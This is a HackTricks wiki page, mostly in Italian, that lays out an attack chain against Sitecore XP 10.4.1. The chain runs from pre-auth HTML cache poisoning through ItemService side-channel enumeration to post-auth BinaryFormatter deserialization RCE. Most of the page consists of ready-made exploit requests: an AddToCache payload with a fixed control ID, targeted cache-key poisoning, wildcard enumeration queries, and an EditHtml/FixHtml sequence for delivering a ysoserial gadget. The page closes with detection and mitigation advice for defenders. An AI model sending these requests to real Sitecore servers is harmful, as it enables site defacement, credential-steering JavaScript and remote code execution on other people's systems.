Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questa pagina riassume una catena di attacco pratica contro Sitecore XP 10.4.1 che pivota da un pre‑auth XAML handler a HTML cache poisoning e, tramite un authenticated UI flow, a RCE tramite BinaryFormatter deserialization. Le tecniche si generalizzano a versioni/componenti simili di Sitecore e forniscono primitive concrete per testare, rilevare e rinforzare.

  • Prodotto interessato testato: Sitecore XP 10.4.1 rev. 011628
  • Risolto in: KB1003667, KB1003734 (giugno/luglio 2025)

Vedi anche:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

Il punto di ingresso è il pre‑auth XAML handler registrato in web.config:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Accessibile tramite:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

L'albero dei controlli include AjaxScriptManager che, nelle richieste di evento, legge campi controllati dall'attaccante e invoca riflessivamente metodi sui controlli mirati:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Osservazione chiave: la pagina XAML include un'istanza XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva da Sitecore.Web.UI.WebControl (una classe Sitecore), la quale applica l'allow‑list di ReflectionUtil.Filter (Sitecore.*), sbloccando metodi su Sitecore WebControl.

Metodo magico per il poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Poiché possiamo indirizzare xmlcontrol:GlobalHeader e chiamare i metodi di Sitecore.Web.UI.WebControl per nome, otteniamo una pre‑auth arbitrary HtmlCache write primitive.

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Note:

  • __SOURCE è il clientID di xmlcontrol:GlobalHeader all'interno di Sitecore.Shell.Xaml.WebControl (comunemente stabile come ctl00_ctl00_ctl05_ctl03 poiché deriva da XAML statico).
  • Il formato di __PARAMETERS è Method("arg1","arg2").

Cosa avvelenare: costruzione della chiave della cache

Tipica costruzione della chiave HtmlCache usata dai controlli Sitecore:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Esempio di targeted poisoning per un sublayout noto:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerazione degli elementi cacheabili e delle dimensioni “vary by”

Se ItemService è (in)esposto anonimamente, puoi enumerare i componenti cacheabili per ricavare chiavi esatte.

Prova rapida:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Elenca gli elementi memorizzabili nella cache e i flag:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Cerca campi come Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. I nomi dei dispositivi possono essere enumerati tramite:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

Anche quando ItemService impersona un account limitato (e.g., ServicesAPI) e restituisce un array Results vuoto, TotalCount può comunque riflettere i hit Solr pre-ACL. Puoi brute-force item groups/ids con wildcard e osservare TotalCount convergere per mappare contenuti e dispositivi interni:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Accessibile tramite lo step della pipeline convertToRuntimeHtml ConvertWebControls, che cerca un elemento con id {iframeId}_inner e decodifica in base64 + deserializza il valore, quindi inietta la stringa risultante nell'HTML:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Trigger (autenticato, diritti Content Editor). La dialog FixHtml chiama convertToRuntimeHtml. End-to-end senza clic sull'UI:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Catena completa

  1. Pre‑auth attacker avvelena HtmlCache con HTML arbitrario invocando riflessivamente WebControl.AddToCache tramite XAML AjaxScriptManager.
  2. L'HTML avvelenato serve JavaScript che spinge un Content Editor autenticato attraverso il flusso FixHtml.
  3. La pagina FixHtml attiva convertToRuntimeHtml → ConvertWebControls, che deserializza base64 controllato dall'attaccante tramite BinaryFormatter → RCE sotto l'identità dell'app pool di Sitecore.

Rilevamento

  • Pre‑auth XAML: richieste a /-/xaml/Sitecore.Shell.Xaml.WebControl con __ISEVENT=1, __SOURCE sospetto e __PARAMETERS=AddToCache(...).
  • ItemService probing: picchi di query wildcard a /sitecore/api/ssc, grande TotalCount con Results vuoti.
  • Deserialization attempts: EditHtml.aspx seguito da FixHtml.aspx?hdl=... e base64 insolitamente grande nei campi HTML.

Mitigazioni

  • Applicare le patch Sitecore KB1003667 e KB1003734; limitare/disabilitare i handler XAML pre‑auth o aggiungere validazione stretta; monitorare e rate‑limitare /-/xaml/.
  • Rimuovere/sostituire BinaryFormatter; limitare l'accesso a convertToRuntimeHtml o imporre forte validazione server‑side dei flussi di editing HTML.
  • Restringere /sitecore/api/ssc al loopback o a ruoli autenticati; evitare pattern di impersonation che creano side channel basati su TotalCount.
  • Applicare MFA/minimi privilegi per gli utenti Content Editor; rivedere CSP per ridurre l'impatto del JS steering da cache poisoning.

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks